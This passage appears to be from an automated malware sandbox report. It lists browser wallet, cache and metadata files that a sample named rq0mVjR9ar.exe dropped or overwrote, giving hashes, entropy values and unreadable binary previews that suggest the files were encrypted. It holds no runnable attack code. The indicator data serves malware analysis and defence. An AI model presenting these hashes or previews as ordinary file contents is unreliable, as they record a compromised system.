Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2333839
Entropy (8bit):	4.657443801843489
Encrypted:	false
SSDEEP:	49152:saMVPFYSiXPjpqxbq9emiTQuyg7oM2e8P/bzE7:qVx
MD5:	A30E6EAAB57371AA09B96C354F5ED678
SHA1:	8367ECF44896043A3FB08A2A65B2377FECC98EFA
SHA-256:	5C5EA64C16D0A7333F9B30F9218789F712DF62C7DD948B58715D06F442F0F65E
SHA-512:	DE4E29B9CD9C284D71137F18DADFBAF0616824AF9437D41E98A15CE5386B7D9E945B0DA31ADFD3A1F680FD2D2297F07E3E59D54FC9D74CE03206D1B7819E56A9
Malicious:	false
Preview:	{. "..Bh..S`....2q.....l.BD..U..d../.2.P....#j=<.E>.B...._.r.c`.Q$1.....^.... ..{tZ_.i,J..U8........C@.\|....=......u?1P...........L.h.C.BGd.."$I.\|v..9g..........Y}"a.5.G...M\|L.....0^....:..9....i...........f..r....>.?..aM..+.!QaE....LE=3....rR.4>.)0..x.)C..Yn/...3L............4...c@.._\.$].z..#.~..u.MW6.h.-.l....U..J...uE.'.D..(....T_>6..n..F[.`.n.D...R(t..pt..z.;;.....3..7"..q.pOZ.jvX:..X>...."....u4..(.w..HQ..${.'...U_.po8..l..7..4.H...b.......&..@.....&...8{.~.f=D.H....)X.D."W.p.p<....b.;elg-..v..).i.......F.GN<.zF.4,.l..$.../.(...?]^5.U...R....1>.lJu....th....W...f.:..a...1.P.@2...]...(....Pzc~..Kc/.c."E0.Y.E.......X&.m.#..../..+...Ai....>?.......b}.X.{........`......l...(..2.....%.m^......A...d......A...)...3...lpJ...Ko.a.L...U.H.k&..2. ..l..R8:..Lu.6<....].Sl.sbL...%..&...%.[..W@.`........N.a.tQ>....l.....0.=....@..C8.e7.MY.. 7u....j...dJs#,.....<..q.A...a<yp.."%.........b..V.u.Ux...[Uzz.IC?F..w...M.:a..k.]:?....?..T\L.W............v.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-stable.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2333839
Entropy (8bit):	4.65704054672886
Encrypted:	false
SSDEEP:	49152:zt8FYSiXPjpqxbq9emiTQuyg7oM2e8P/bzEf:zty
MD5:	6307ED97FB3E210660DB8465595F1384
SHA1:	B044896A7B004101FCBB1F76F8ECCF9D5800846A
SHA-256:	2ED12E4E0CDE3D23B0C8C852A085B9697D4D5FF15377419FD3520938A024F827
SHA-512:	A36F1B21FEAE0109ED11D54E946FEFBBC177AD3F79AEA03DB936751B9D9EA85CB8509935AA8406D41ECC3450D65253BCA28590E2A737E63777FDB52D8E5C6A0F
Malicious:	false
Preview:	{. ".......S.......A..".s...}.2..i1....N....:..@.<....Sf.G..YnE.ep._C.C..2?..............eB%.......jtF...V...pI.3...=..c1.d...@8p....tM$.........x%4.}..6.{.....K1..c...o}d..m......f.H.r..:...s/.n..F/.0...p.3..t<......7GJ.............)...]O.L.$2.M.zD@`&..8!?....x.u..B#M..M.>...m/...c...x?.)/.{.k..N.Tr... ...'G.t.g...\|v~u...}..k.=....[.zn]...c....$z...g..{..=.....Ug[.$.V6.......t...-.9....}q..E!C.....b..}6i,.}...).xP....2tZ.=..K#...A..N.....O..O.C.D........./...Eu.M.G.(h.P$I.....A..;...r...P.........D$....p..l-.9jl`..i..9.!.....i6......Rn.\.g..D...Y`dw.EAL.n6J.=.$....4.......i...S..$.q8.M..r........%.+&......c.;x.._tH..qO..U..^d..Q..;.....K.=X..T9<A....(..L.((/..e.O..mb....[.ux.%.r..z>.B.X#?...*u......X..>.A .F.\....<..L..o.....V..b^...2..."...F.^.........1..........2.Q...kI.l...j.U.T)...&.!V.X&@.9..k\..D. G......&..B$.t5u.-.......~.O...Bq.$....>..ZyQ9.v....9..e.y.Q.e..........ri;QE2Y...C.a.0.k...!.....E...n=....0.[.}wA.% (.....G......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-tokenization-config.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	24582
Entropy (8bit):	7.993234522731312
Encrypted:	true
SSDEEP:	384:yIoBPk6dDc3hkE4fC/IKua8bT1+MyTbQ/ylvua5tY/yw7ujHPCiNtNVwSUga/Zsl:yIoBPrdDwd4fwIK2tKl5Sy4il
MD5:	9EFB689A2D3B6FE35747B96B1026851E
SHA1:	0AF90B10B629EAC5F97D8AA4D8CBA563691E5A05
SHA-256:	B71B0DFB1DDF7F375FEE4E0A706988C59E23EF11D11C502FE33AFCEE1E855B4A
SHA-512:	83E368D9FF6CC8A54808FDCA8F309891C76D07FA184231542A5B03455B6952961AEA327066DAFB334754F8515752FCF0E1B8B26668A19D26A0A923E16D3D244A
Malicious:	true
Preview:	{. ".X\....N....Y.t.+..~:}....2LeU.....m.a\|.#.llm...5..-..."..rSi..AD_.=......-.8....9.4.J...n.].O.....J.a\...`8.X...N..yKH.;.!.^1PLl...'.y.{. w:.#....2..bh~..$...>;......l.`q..A..d."..v...."\...)...,.3q..P6.J..-.`.y.".....%.BO.A.3S^.i..0...<.(ka....z./..\\..k"S>..H.....lW.....c.a...5`.Rs...[.......o.{.p...+..Bh.u....8...e\|..:....E:.~.{?^>p.G..[wt=...X.._..3......O'^....v...B.93.......&'qq..epF.>.?l........"...f...E.<w2jM-..vS..I..........]..$...@......V.<N.....^f.....)q......39.K..d.}.3..m.}H.4....oz..y..w...e.......C&....6 q.P.Ry.u.-..........p6C .......ekU...J..".ZeEn.b.....F_.=.....'f}..t..T.,...10.5..QZ.G4}.vU,c...\=.`...X.\-h....n.......z8r.$...@..p.....f\Yb...l9.S..v..a..Y\......+g.3s."...@..}..Vl..X}..J....w...........r0.....s.YDDq.{.X..d[...t.q6!..>.<..1`X....k(...`e.O.Dc.Hn.~f.N.x!.3...:X....2.i...`......b...........C.....)'..8h.b.J..X.E.737.#....!.....m..8.8. W.q..jK..{.$..(U.J...p- t.........A............V./#Y3..5<.O...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\FirstPartySetsPreloaded\2023.9.25.0\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2198
Entropy (8bit):	7.91928291226026
Encrypted:	false
SSDEEP:	48:68vrXa8ieaZZodWK2s7OvX6YgBC0tORLWewgqsd0Ol+P4XiBQJuhwdiD:bTXzaXqx228VLT3q5Ol4GuG8
MD5:	34E52386F3B4FFFDDCC5A5506ED86BFE
SHA1:	D8D5C1823A5E92F8422091E4EEF322E9A1190866
SHA-256:	4CC6C0428FBB9171BDD549175B80C07FB3D8E5B0062BB35D0480580C25D14EE0
SHA-512:	2B56890BC9274E41D811809FD1A1F9CF68195A4DF25F5975472484206F53E013FD99D3AD4F1FA65844AF41B7DC2638F366A4DCA8B0F7FB886C8F735F4909D24E
Malicious:	false
Preview:	[{"de.B......$A;..k^"~..z. s.........X.9>.Ul....D.~...s........-.Onu.r.....]i......?. .`.Y...Z......1`P{{........y.b=lF;i}.@..\|..SSLb..8.(...8.s..jDH...]........>-$k.N`6..)..:7..._..P.._VG[...^..u_../&Z.m..7`G.%...QCP.......?.....".)i..5"..y...m3....x...B..~L...In?J.K.N......(...y....6. .J....3;...`........^.Ex.......^,A=..../.....\|.2......+}p.1k..W.SQ....%......<....REUG.C.....D..p[m.&C.......4X.C.v...1.xa.....,....@9.B...D...LSq..5..>P.p6.K....T..d%k.?..a.WX..b...+.H.>q.-`.'...1....B.X=........vI.:.2IkX.........I.v....L...L1...8/<....H..Q..K..(.p....s.,..@....b.N..Nv.A\...q.......pW.d.0...8H+...of.j.@.S..2.,$.Q%\].....+.r.....gj.r...7.......L.)......9G,.8:...-C...9r.S..Um..A...5;.s....~0]:/.p~.TP...O..PP.[.9C.D.b......Y...V8&<......L...............6T...."..SxQ@....D...d.k....c....\|..q...^.E....!4..o..!&..NJ..!..y$&.C......i...IV..@...<..&.[...n...}.O......j.....2....Ih.D.....;..{ .W.1/^....... /.....?TD.~.g.fc...-...6.S.g&0.j.(...Y.3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SafetyTips\2983\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2092
Entropy (8bit):	7.909917512715788
Encrypted:	false
SSDEEP:	48:JBUL6Gq9720JQLdsAKcZOaFmKfwLpoRto7xAf0lAfxa9gHYzOZtTiD:J+L6Gq00JM5Mq8LpA+7kJaaHYzOZ8
MD5:	5DE14C555A7ECBD495EA300781EE0731
SHA1:	E446769709798686C883034DDF26209E2370BE57
SHA-256:	DABAE0DDA1EECD666C02F7306CE844DD933D47E3BD44FD0AA04C93295687CF62
SHA-512:	57B7158B24E470A86EDB91EA7ADC3F70F942A2D22207605E1031C014BA5F7B4827EAAB96B3A076BBEE0C24035363651112B4C8C3408D2A0B71A42E6BA37838D4
Malicious:	false
Preview:	[{"de.E..,.R...{._.]4@'@....4.....?R.Z..&....{B..8,...M.I?i!.Z..A.4.'y.....!p`....k..[nW>....'...........H.......n%..h.......1.....2.I<}.`}..<4.gR.7.....P..e......sX......d.{.9.P..).q..(...?..M."...}Z..D;Dm.p.2...AX..?.\,..sw\Z~&......:......28.P"D..A$ci.9...Y@g..r..c.H7....\|.3.w6..%.U..x.3i....y.%...`.Lw.....)(...p.....s.A.d>.,.z..h.......\|.G.......eD..Xul...}.<Y.'..F..gX.3'!a.Qqi..m...Y`...Fq...U..v.\.Tm..9.._._l...."...uI.A......+.1...j..)2N......n......}Ys.......6.4.A.....Gq...4...j..z!.F.....N..B.?...m.i67....`3+......L..o+.o......p.z.6..E....[.....o.2FM..I......`~.c..<L. ...gF.%a.:....W...$}.#x.U.........7..$..E...b.....p.`..n...]x.:iq.T.C.A.....0.Kci....5.c.B.Q+.:..n....D.ngq.C[........1..\...<..Y.9@..G.Z.(-.......6....NL...d2hm]...}.(.J..F.;........c.w..).].s_g.3.g..... ..x..).i.....E....Nm%..Cx..-..v$..\|Av0.a.......kj.z..n%...D..N...").=.#...d.y...e..,s..._.N!/......y..1'Y^b..m.....]Ag..N6.Y...j$.vI#;....Ws..G..(L....1..D.R....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\adblock_snippet.js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2649
Entropy (8bit):	7.930277858737523
Encrypted:	false
SSDEEP:	48:v9elexG5jZMu6nBbpW7zSk2Cck5CwESKb0qNU/xJLwFjiwWJziD:EexG5jZab47zSrWCwEzAI6xpGiwWJm
MD5:	1BC801049F54D92E00A7F9AA758489C6
SHA1:	FB0D29E1D16401B492DDA293000116B045F2B788
SHA-256:	4D89D3C4A9B8939CC891C89FC5F58A771020A72A1A22AA4F5157D05C68F77D1B
SHA-512:	BD8C988B2B74C1AD97F52B029104F477022B7EC64DDCA4E005E620F551F30A8482D31CEA597E00C2A34AB33A5BD01BEAE7F7B75E72C3FA7029E5026E4A75846A
Malicious:	false
Preview:	(()=>F.3^.ft.X.;.eb...&,.i>....JOu,@.7X.O...n.'f...-f..2.,f....N.\|b..:)..C....hH,&=....t.X.%m&w\|"\.v....9,m.2..D.N..o...R2L.B.UT..Ij$.KPs..q........a..7q.M..x._O.IR...Sr...y.i......}...+O..-Bs\..X{f..r.$....j... .w3.5.g...G..#.Y{T9.A..m........Ry..B).9...3U...%..:..m.V..6;..j.w....^.F\|.0x..h..9...'...6.....\|.^..m..@nq..Q..2..<i.[.A.W...w.$.1.Vh%.4.RL......%.u...zG..#..Em...._........7..h[..a.)..m..M"i.Q....&......" b.u.=.h\^k..:P..Y^._.(k.x.~1...Dj.........>..\`...v.......H..aI........{.-.....S!..A..&.A..d=R:..g.n.T.T.....\|.<R..}eC8....5u.....^d..GP..............s<....KZ. ...r?32...HB..<.=.'.#0...Ta..oL_...FnZO._....9Y5.....b..!.....B.&....i....L...M.a....._......m..{.;:%..Q....x..5'w.K.+...VfP.......l5..Nu>...U...e.u!.b.8.R4.=......0o..H.\E....Hu.cX7.;.=a.;3N....FI0q-..e[..CSF..k..>.d...7....aVm8..#...T4.+.@.).fo...=..!a..l..=D'%D8k.....X......2H...N......O.....33D..Z24....[S../...>.0*.Z..<..0.=T'......`...\...E.N)Z......G...+......^

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.291359714872517
Encrypted:	false
SSDEEP:	12:ed9CwXg4oOvZAsnGr9jvs4QXkibI/ixpZacii9a:a9Cww4F+9gRbI/iTkbD
MD5:	539CF20D64F99ABC3F559189DDAF46F6
SHA1:	3A5E02B6D5A511E99DB55752B525EE3FF44159D9
SHA-256:	236948E31B856F52069EAB316DAE5551470D300B125BC77CE2ED0B013CED9EF0
SHA-512:	CA75FE6A4221DC9BACAEADAB6C3484859F314E4E762499D3CE67058A275AC45DCFD869BEF3682F3F9CECE8D24382569E2ABEE9984B10DA986459ED70ABDE04C4
Malicious:	false
Preview:	1.2F9t 4.Wd=....g"u.Y.....e.._.............T..Gx..2.....(6_xx.Z..}=..g$\|I.k...R..vE&.i..&"..TV$?..).......N..XQ.b.].mT5.7y.$_k*I.v.C.hk.<....'.......zY....j..l. ..l..>.j ..YN..OD.E..e4...qF....fD.m.$^..Y.n.@....I..$4....w.mj.....e........1..........b..O.(....-...\|@....]....!\|F.wQb.~VJI3.0....(.....4..25....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\manifest.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	450
Entropy (8bit):	7.400357833899783
Encrypted:	false
SSDEEP:	6:oU/tLUpue1+O9lZOSn5I3N9D6ckYva8ahfD4ebKeKAg1YjGxssZacii96Z:f89rfn5UPD6ckYva8aVFb5ixpZacii9a
MD5:	D87F4D6317CC3FD3B70DF9895DAACD38
SHA1:	750C860FF68709268A4F6784E74976E6410E1C19
SHA-256:	F3C0267BE6C489A2FC8D15AE618A4EA85281D3A5A7AD92F75BA858AD5992F15B
SHA-512:	062750D5E8514860421494174C4790EB229CA8F81DC8A0E66AE1E28FCA44F78B12721B966AC1CFE3335EBCE57A2CDE160D3E04786131EA2FB198A191C10EC343
Malicious:	false
Preview:	{. "..`y...w..........+.F..).T..........{...N.......z....>.rKg....v.#....7.S4.'.\|.....C......]E...F#G".P.."...;.T.....m.ZV...P.$#.~u...$8.`'....9..^p.Nc.K..........I6.$..e<K.....]......[....Z}w7S....<..N...?a1&.}...m..hK....'..'.^?.. .:w...#>.$~\.}.DI[....Fu8.......$...hN=>.zF..`wa...C...\|(.He\h.5...nh..W.II.Y.8....b>.9.U....(./%..2........pE....ur6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\TrustTokenKeyCommitments\2023.9.4.1\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2196
Entropy (8bit):	7.910452132581806
Encrypted:	false
SSDEEP:	48:ElmyC7BlJcvBrMsNVhwsvM79xPhUhg4APFpq70UEowz1/UUhLkiD:KmyC0rMsNVhw6MPSgPFpqYUEpJMUhH
MD5:	97E7C8D1F4350483E9BBC1870A6BFC32
SHA1:	72F4F6CC3F98F80B34AE70107B30820799D3FCF4
SHA-256:	67C484F7EF79C0FCA2BBCB4143DF30131B84BE2C09DE94D19E9EF0F18B4C21C4
SHA-512:	E22C350EB411A65FB0BBF80695FCC54811BCC86A5570314BCB1518B766820156D012F130331D9614B4EC3F8A776CA49957281ED062970B719F7F4EEDEF38733C
Malicious:	false
Preview:	[{"de....z......o4..X.P.>.O{.Q.G..M.D..;...P....N......cz9P.....~..7.y.....+.OZ.}...r..._.'..bC.Uz..5.N.N...V..Z......5h.C.."...D.C.<.....\|i..u...n..Ww.3>3{.f&.Ee.4..I<.Y-..N.7.8..]).(.xh..1.ko'.-..=..s..O..B...gw....pZC.......I=...%.T...P...}..QZ.zv....#.b...$.....`.pn.Q.>\|.G..6`..}....1!..#..m}...%.....E.....@.~,....,.M.....o>...JI..x...L./>.....].e...'.;....)...O..;q.P;.1..1P......k...b.mV.........i${s..``.p..Y.&$..{{.......;.."L.ee...qC.]...[X..Dxp...pg......`uUVT-..hMh....Xz[.....C......9K...M;.m.....p.:....o....L........e!S.5c..?..5..-..h.Fs..K....[.#.......c../S..I.....k....a/.B.c......C..rn..=..`...0......'..,.......E.en..Jw_.nzkD...v55r.4.....dW.4/...o.j.........N.<.R........Ng)9..x......hH.8h.o.yj.$.]..8K..J....=~&2.]...u..I./.F.b.Q[K..L.%..Z..#y....$.E.p_..x&..C..:,..~.`....3..>...@...S..<b.I\|..q\jj...+...1><(...Q..6;.liA......20...rI...-.Z.&..Dq......@hQ.t......L..e.eX....Q...iG.]@N-.....u.F-.~.a..{'.H.m/.....<..w

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	6034
Entropy (8bit):	7.964548028671331
Encrypted:	false
SSDEEP:	96:2tnTofGQIf8970NcgUcUz36PzkZ/ou3jWolxWHZKeH7g8GMKXPUNoo2nWM1:2tT7pfUgcgXu6PzkdDz8jbc46r1
MD5:	DA6F957133AE8B07F6926C76EF332169
SHA1:	D871BB95ED0F3D74F2200110885F5D6662227F62
SHA-256:	54F618D0305347CA85AB5635AF472E5939C8CE58BDDB239A3CDE74B22457D3AE
SHA-512:	0CF77B1DE2772ACABE28C58D160C818A08500533219A1D01102023E0AEA68962F8C5C90E2DD8E6319614D1BF7F0F74B87FA29758EECACDB009E5CC13E2E8BE0D
Malicious:	false
Preview:	[{"dewM...9.x8*...W..83~.....Go/...'..E.?@Y.d..1P3.>H1..d.'.,$B^=...S#c$.)..p.I.V."...8.....\|Y..P.p.d\.n..f.V......]LA.......v.H.r.:....U..w....)....C...o..oJ..^..Q.:vE4.6.B........Z...j..m...~.q.H..P...2..........J.4..~(R_.w.O.N-.9X....,..k..p.f.2n...:k...k. E...@..S.@..z.S......0......$9.w.U.......\|..s.D;....%.7t.<.p.\|.C.%.5"4.=.'./...;....H.".Z{.Q2.,.W.^4_...g...%s.9{R.z}...?uo..,._.......'9...&..Pe.TOh...m...O..e...S...s.GD......./.....{9.....&]t..'.O.An<..k8K1...,..._..i..%..R.I...]..ST......R`.@..<..?.....b..3.......a.._1.%.............[Z9...'.W..(..AS..UgZ.Xf.....y.z....A4.\|.f.q.<B..e.2.8KW.=..@6o$..d.R[.h.a..O.v..1.h.Re...cE4..r....8..r.F...8k.{.h.......3......9e.>.8g..TM..q.%..y]2}...Xs..f'E....pz.I.7..._m......\|kG...:.......<.l..;.......2....Q...?k.B...!.`N.u.......y W....$.E...Rh.h...O..x@&....}.@;........p.,....e.b.s.NrX"S...n..o\|j.......#Ln~NU..0.S.a?..,..S..!7.....$.`.......!.>.4.1.4.....v.?@&....{..;..t*\#.."

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.910838709737009
Encrypted:	false
SSDEEP:	48:/S1tdniVhVJBWSDzwF+9B/wJDPw8Vb1Zda6guLso3NxIY3rqSiD:/ydMfF91WDI8baogmDxul
MD5:	E10EFFC166FBA9ADD40AFCF6FCF390E0
SHA1:	9D130708D5E8172A56CA64C8DC842156D5B570EB
SHA-256:	EC0C99AB5B53CC2D3E3A032E3D1EE94F4A784F41699814E17D5B947B1223A586
SHA-512:	DD319FE06B70A916309FBDD738FFCEF81BDB67C712B8B70C2C54CE1A0036E3A03A3EF6E851861B0DC7B5A72FA940F2660CE2F1D6383EE4F7AFA758B0FCAAE305
Malicious:	false
Preview:	<?xml.......0. 0..`....j..wo..8X/...Y.d.....'.s....A..Oa...s..~.2+K.n....ZD<.UK..XC.....i..V`S\+.=.2.V.*.B.5EI...rq....5.a...8M.K..a....).7.)I.e.GEf......`.j%.\|C..]Z\:h..hW.>].^...z_..u=.u.g`.n.Q.U..tHK.B."..o..i}&..X...........S..3.I...s.V.@X......1q...u..n...?.\|]6....._.H..5....f..a....YV...1.....`..e..a.{q...YN..50..`...Rc$..cF9,x27R./..Is.y..,Z...A.w.a..s.....9+...4....@n......3;~,sWi.....p....8............/..w.\c.'.!...dQ.F>&..y.@......9....W/.y..y.c.'Ph.c.7......XA..r.....Q7<V".4..T..E.....Z4r.......f...H...e.d .}Y...-.\|..1.......A..v`.9W...q..u.B.I.%....4...5.t........7...@..%i..t1.B.8.j<.Osoe...."..Ho..2.h..Y.1'.~.@..u.c..v.........~T.N.%....\|&?.++...<.4t...v...D...7.cTu.\|..j.it.&b.h...'...8/..........z-.FJ`..(D.._....[...2.>."....O......r....uS.....2.:..a....H...X.]..?.SL...4.V...I..#.K..Y.K..D8..P]<<tC.,.....K4..TEo\|..L.....[..P_.K.LXN.,.RZ/'.\|....L5....f$..\Q?...-.v......^C2R... ...r.....Zq.q..>.Db3...)...s)....S!~...U6.....m.b..k

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.chk

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.974735195420648
Encrypted:	false
SSDEEP:	192:Hi3CHA7riRZhVBzPJpLkQRX/ckz2YCexaWNDPkaPHaco:0CHAHKZzPJVNRPogDDP6L
MD5:	616D1B6CB99DE43ACB612B4E8B79E539
SHA1:	2F2E28718B74B02A6234AC5B4ED542416692F098
SHA-256:	C70121E61A83B0C4B9EFCD23AA2D03933B921B85341942D8D48E64E8743C1B66
SHA-512:	8BF7B87F1EEC5164F06EA9965BDCC049CF2E03E1A4D502661C18CCBFC9E523B42FC8B0BCDA9C085E9E52D0617018F838A88138FE7E59E842F8F54BF8B859694E
Malicious:	false
Preview:	h..F...0A...^.........O&.3X.(C.....8]....K{.....z..:.....}9.e..''h....R3:..6..rg@X7c....C..W\v..-0........... .....D.i.(...Db.k..b.g..`.JS.g.$..i^.@p.&..A..[......~.`.-'s...+......S%.y+.c..cz......g.N..Z..-.b.ms......c...Y....Iz..7..J...sbZh...:...?...b.........zow....?..3....E......'g.#.h.x....N..\|3....o.3.....b...6ff...`....?I..:.F.0H..xg.. Uy3ieY..K../C.F)...V...-V..xi.....5..h....M@@`.U.....%...@AD. Q....e.....Y...Ks...!]...qA...VGA.7l..#.....=t*'...2S..X....D..".....Q \.J..7c..P..M....8..5?...-U.........`.U..SZ%...$.....XS1Q5.l. @9.YM.h.eo{6iT.D.Ol.S..k.~d.^t.iM..pG.XK....f..=l."?.G.E.B.....'.n.(......{..g?;8.........2F..v.kxk..V.n......u.....S2.....m.T..aL...Dn..?+..>.g}...V..k......X........3....b.?b....gy..c..:....-..E...8@.....!.}.eU..K.:AnD..$.x8bJ,..p.a.....iT.v. :T;=s..r3..eB...An....S....<~=.....9./:VE.c....m..Wy...~1....^.9$-.W...Up...GN.i.R..E....i.......;..(.rV.N.:;..\.}.`..b_.w...3P...s...l...!....G..U.9W%...vZ.P.,.99......

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.9636611748179207
Encrypted:	false
SSDEEP:	3072:WKkg81Y/IIhPsK2n+LqqrTO3h3L6Ijs5+C5oQj8GB1dm6bcP2BmnrPVvYRrDV17U:tkg813+brTWtjs5IinYwcy0T3
MD5:	101B7955B699DEA76A1649A9CCB0D139
SHA1:	4F9963114994A3D52303FE7A785DD1EF4D56D015
SHA-256:	8310215D3D09B4E6EF611C61730FB14FFA6594189DAFB13A98C5E712286E4B4F
SHA-512:	44D43D5A18125392B545B97BA2A5FD783B4ED23C499485737CE5BE3F13643C0026463BA0AB6A084B40CAE2F3A72BB6487AD832247B9763E98A3E11E601C43548
Malicious:	false
Preview:	.._...u..............o;._..J0....$.....h...b~P.d.S......&.$~....H..{e......K..)..).s.q.<;.D9..(V.j.....^y..........l~../.z".D.sp....mo.4.........V.........XU....h....b......eK..h6Z...u..b.h...\|..,c.#.,.a.K.C.`4.q...9...`We.(.......=w..........+.....k.gC.~#..].d...M.K.u}.2!..........Z.V?.....a.;D...n.H.........e....>...../bn...x.1A`..'eK....J..]j..~...e.A.....c.f.QuX....e,.2....aH9........c......g.N...@Fj-!.l.=-).....S.<.F..I...\|..1i.F..!6c..2..i...S..5..5.[.(o..\|....a...v2......Ay...:.~......_.....Lji..d..^..B..82..K....A!f....U..c..uq.(....F...:%J....!C..P.9B.;\|K.W0.....j.9.....,.o.......4......`.!.n.U.p.1(h.....[&!Zg.....&.o....O...........j..+).........M}.\|.~...:...a.^P...vj...8.`..D....:^Y..%.:.?.{$.F>r.i.....M.v.dG.M#m.L ..?..c...o.s...k5......4..2^.Dc....-...Vd......2.v...:.I.b;%HD.v.)..A.7..=.w..r...R....S.../..6[...2...!;......z.tI.M./..6...{.i...{..c.H...m.]......}r}.].p!w}.}....! {y.._&.....$."...[..@;...j...3......8".

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207014284675472
Encrypted:	false
SSDEEP:	3072:AciAB8ML80Eo5mDr19MU2MxuH78WbEw2C0hgC1dxtdK83QN5eu:AlfS7Ar19d8bLmhfF+vj
MD5:	D62466DA606A8BBBF49BE937A8CA51C1
SHA1:	5E690D091056EDDB7F43A6F01DAEA5B0CAE07F8D
SHA-256:	1F3C3C3795ACF06085EAB5D59AA0B68A84AC802DFB695C7C18724A063CB99F21
SHA-512:	1B301F973FF5B0BF1C22794483A2289E264C830DA0D4D417BA682C4BC24803FFCB7D4946CF14DB9BD437A684C089592058124B7AD4AFF375E7CFDBD2E65A77B6
Malicious:	false
Preview:	.....c..E.+........~.j]5l.....5.g.eD......J#......R..#.M.V$]..D...F.,._.$...N...)..".y.%.....C..........S8N....K.. .K.Q?...z......\|...y.d[..Vz..._O../...... `. ....gt..!2j/.r.6..P.=(....IR.u.#a.. ..F........fugT...\|.....c."x..x:...Q`....M....<C...#.0=..W.A.........(E/&.4~se7...UY..T.:....%...l.A(f05.U)`8Tk...q...@.C(."uO$;V ........{..~.0u\|...K...8....V...S.i.....}9..E.G.S.P.Q....P.0&...dI....Nq5N..?...B....1Z.Q....}.uH.:Q..v7.,..J...Cq....;h..<..p.....n.. /.R...V4..}..('.B,h...sq.Q.e..p..`..z.yf...3..).t.V..%...........iRQ?..}..-.JiK.T/.p.90%..7\|.R....E../...k...GL.sN.........>....XB.S.f..`._.G....!....{b...Z.(2N_...t.w.q.]...HK~6.L...4.~..g......t-..Au.Hy.f.....l6.9.d.$.!..d.15..y{.....za.`a...%..B..PX\.......0.T.x$;..o...Q.Z{D.$..gah1?..Z`...V0.D.\.zk3.H'...I.......}...Q.v.....aA....r....<$J.(...5wfj.&.zKI.lI.J..S.F.:...g[jm.0..dGr.b..k.5...OQ. .........UP....V....hj..s....1@1q..o.Y......7p..H.b.....{..YW<.....k.......]%.(..9.....s.=...e}..6

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2079685646176617
Encrypted:	false
SSDEEP:	3072:LYYr8lAFkFIllWm/+K4rkZAHsmj2sjx5MX1XTEERRwHTSr:kVqjl5AMmj/fMX1XTEKgSr
MD5:	C8AA11148BCA883A18021A7B8E3662AC
SHA1:	337D860FBB2BDF292BD40D6E05A32792556B22A9
SHA-256:	E092A29542F26AE83F59AE2285CE46EB52CE6998B48F58F15982AE44809DA315
SHA-512:	80D67A5F6A15C68D3AE1A20995369A93BF95A9152840135B1E5A51B8E46A03CB61C2188B9DDBBC14F397C0745DC1AB303EFA52823D9E08E137795B4FDB438776
Malicious:	false
